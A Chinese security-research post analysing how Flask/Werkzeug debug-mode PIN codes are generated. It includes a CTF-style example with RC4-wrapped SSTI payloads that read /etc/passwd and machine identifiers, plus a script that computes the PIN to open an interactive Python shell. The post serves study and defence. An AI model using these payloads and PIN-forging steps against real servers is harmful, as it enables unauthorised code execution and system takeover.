Flask debug 模式下的 PIN 码安全性分析

Posted 2021-03-31 山石网科安全技术研究院

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一、概述

        Flask 在生产环境中开启 debug 模式，输入正确的 PIN 码，就会产生一个交互的 shell ,可以执行自定义的 python 代码。

        在同一台机器上，多次重启 Flask 服务，PIN 码值不改变，也就是说 PIN 码不是随机生成的，有一定的生成方法可循。接下来，我们来具体地分析一下 PIN 码的生成流程。

本文章的分析都是基于 python2.7 的。

二、PIN码生成流程分析

         本次调试环境：

• python2.7

• window10

• flask1.1.2

        这里就使用 pycharm 进行调试。
示例代码如下，在 app.run 设置断点

按 F7 进入 Flask 类的 run 方法 ,
位置python2.7Libsite-packagesflaskapp.py(889~995)，
这里都是一些变量的加载，不用理会，多次按 F8 直到 run_simple() 函数调用。

按 F7 进入 run_simple(),位置python2.7Libsite-packageswerkzeugserving.py(876~971)，这里判断了是否使用 debug 调试，有的话就调用 DebuggedApplication 类

按 F7 进入，位置 python2.7Libsite-packageswerkzeugdebug\__init__.py(220~498),从DebuggedApplication 的 __init__ 初始化操作中，有一个判断，如果启用 PIN，及 self.pin 存在值，就会通过 _log() 函数，将 PIN 码打印到出来。

ctrl+鼠标左击进入 self.pin，这里使用了 @property 装饰器， @property 就是负责把一个方法变成属性调用的，方便定义属性的 get 和 set 方法。可以看到调用了 get_pin_and_name() 对 PIN 进行赋值。

ctrl+鼠标左击进入 get_pin_and_name()，位置 python2.7Libsite-packageswerkzeugdebug\__init__.py(137~217),这里就是生成PIN码的重点代码

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
 code and a random key. The hope is that this is stable between
 restarts to not make debugging particularly frustrating. If the pin
 was forcefully disabled this returns `None`.

 Second item in the resulting tuple is the cookie name for remembering.
 """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name. They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

首先初始化了三个变量，都为 None,其中 rv 就是 PIN 的值，在分析过程中需要重点关注其值的变化。

因为 PIN 为 None，所以第150~159的两个 if 不会执行，直接跳过。

接下来，也是一些有关 PIN 生成变量的赋值。

变量值赋值后的结果如下

然后再对 probably_public_bits 和 private_bits 列表的元素进行 md5.update,update 会将每次字符串拼接,相当于对 probably_public_bits、private_bits 的所有元素加上 cookiesalt 和 pinsalt 字符串进行拼接一个长字符串，对这个长字符串进行md5加密，生成一个MD5加密的值，取前9位，赋值给num。

最后将 num 的九位数的值分割成3个三位数，再用-连接3个三位数拼接，赋值给 rv，这个 rv 就是 PIN 的值。

最后 PIN 的值如下

三、PIN 码获取

        从如上的 PIN 的生成流程分析，可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定，而这两个列表变量又由如下6个变量决定：

• username 启动这个 Flask 的用户

• modname 一般默认 flask.app

• getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask

• getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在报错页面看到

• get_machine_id() 系统 id

        那又如何获取这6个变量呢？因为 modname 一般默认 flask.app，getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask，所以主要获取剩下的4个变量即可。

1.liunx下PIN码获取

        还是用上面流程分析的代码，在 linux 中运行。
(1). uaername 可以从 /etc/passwd 中读取。这里是 root 用户启动的，所以值为 root，不知道哪个用户启动的，可以按照 /etc/passwd 里的用户多尝试一下。

(2). getattr(mod, '__file__', None) flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意，python3 是 app.py，python2 中是 app.pyc。这里值为 /usr/local/lib/python2.7/dist-packages/flask/app.pyc

转化为10进制，这里值为52228526895

(4). get_machine_id() 系统id 。
我们进入get_machine_id()，从代码中可以得知这里对linux、os、window的3种系统的获取方法。

def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                wr = None

        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\Microsoft\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")

                    if guid_type == wr.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except WindowsError:
                pass

    _machine_id = _generate()
    return _machine_id

只要从 /etc/machine-id、/proc/sys/kernel/random/boot_id 中读到一个值后立即 break，然后和/proc/self/cgroup 中的id值拼接

2020.1.5 werkzeug1.0.1版本(Flask是基于werkzeug开发的) 对 machine_id() 进行了更新 ，所以2020.1.5之前的版本是跟这里不同的，具体更新情况可看
https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f

2020.1.5修改前：
是依序读取 /proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id 三个文件，只要读取到一个文件的内容，立马返回值。

这里 /etc/machine-id 为 75d03aa852be476cbe73544c93e98276 ，/proc/self/cgroup 只读取第一行，并以从右边算起的第一个‘/’为分隔符，分成两部分，去右边那部分，这里为空，所以这里 get_machine_id() 的值为75d03aa852be476cbe73544c93e98276。

现在已经知道所有变量的值，可以就用 get_pin_and_cookie_name 的部分代码生成PIN码。代码如下：

import hashlib
from itertools import chain
probably_public_bits = [
    'root'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '52228526895',# str(uuid.getnode()), /sys/class/net/ens33/address
    '75d03aa852be476cbe73544c93e98276'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

最后生成的 PIN 码为638-233-100，输入后即可看到一个 shell 的交互界面

2.window下PIN码获取

(1). uaername 可以从 net user 命令查看，这里值为 Administrator
(2). getattr(mod, '__file__', None) flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意，python3 是 app.py，python2 中是 app.pyc。这里值为G:codevenvflaskProject2libsite-packagesflaskapp.pyc

转化为10进制，这里值为137106045523937

(4). get_machine_id() 系统 id 。

打开注册表查看HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography的 MachineGuid 值

也可以用 reg 命令行查询

reg query HKLMSOFTWAREMicrosoftCryptography

这里值为e7090baa-1fff-45a8-9642-005948e998da
最后用上面的脚本生成PIN，结果尝试了一下是错了。

四、例题

在 /secret?secret=123123 位置中，当 secret 的参数值超过5位数的时候，就会报一个交互的shell。

这里还存在 SSTI，我们可以利用读取生成PIN码所需的变量值。后端对 secret 传入的值进行RC4加密，RC4 加密方式为：明文加密一次得到密文，再加密一次得到明文。所以使用RC4脚本对如下的字符串进行加密，传入给 secret 中

rc4加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况，小于256不断重复填充即可
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串，加密后是：%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是: %s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}}")
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}}")

（1）username
对如下字符串进行 RC4 加密，再传入 secret 中

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd’).read()}}

加密后

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1C%C2%AEJuT6%C3%BA%5C%C3%8C%3D%C2%A75%C3%9Dz%5C%3F2%0D%C3%86%C3%8BF

可以得到 username 为 glzjin

（2）getattr(mod, '__file__', None) 从报错页面得知为 /usr/local/lib/python2.7/site-packages/flask/app.pyc
（3）str(uuid.getnode())
对如下字符串进行 RC4 加密，再传入 secret 中

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address’).read()}}

值为 docker 后面的字符串 e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731

最后得到的6个变量的值分别为

• username 值为 glzjin

• modname 值为 flask.app

• getattr(app, '__name__', getattr(app.__class__, '__name__')) 值为 Flask

• getattr(mod, '__file__', None)值为/usr/local/lib/python2.7/site-packages/flask/app.pyc

• str(uuid.getnode()) 值为2485410510816

• get_machine_id() 值为e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731

用如下脚本生成 PIN

import hashlib
from itertools import chain
probably_public_bits = [
    'glzjin'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410510816',# str(uuid.getnode()), /sys/class/net/ens33/address
    'e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

输入正确的PIN码，得到一个交互的shell

五、总结

        Flask debug 交互性 shell，需要对主机有一定的访问权限，获取生成PIN所需的相关变量值，从渗透的角度来看，比较适合做个隐藏的后门。

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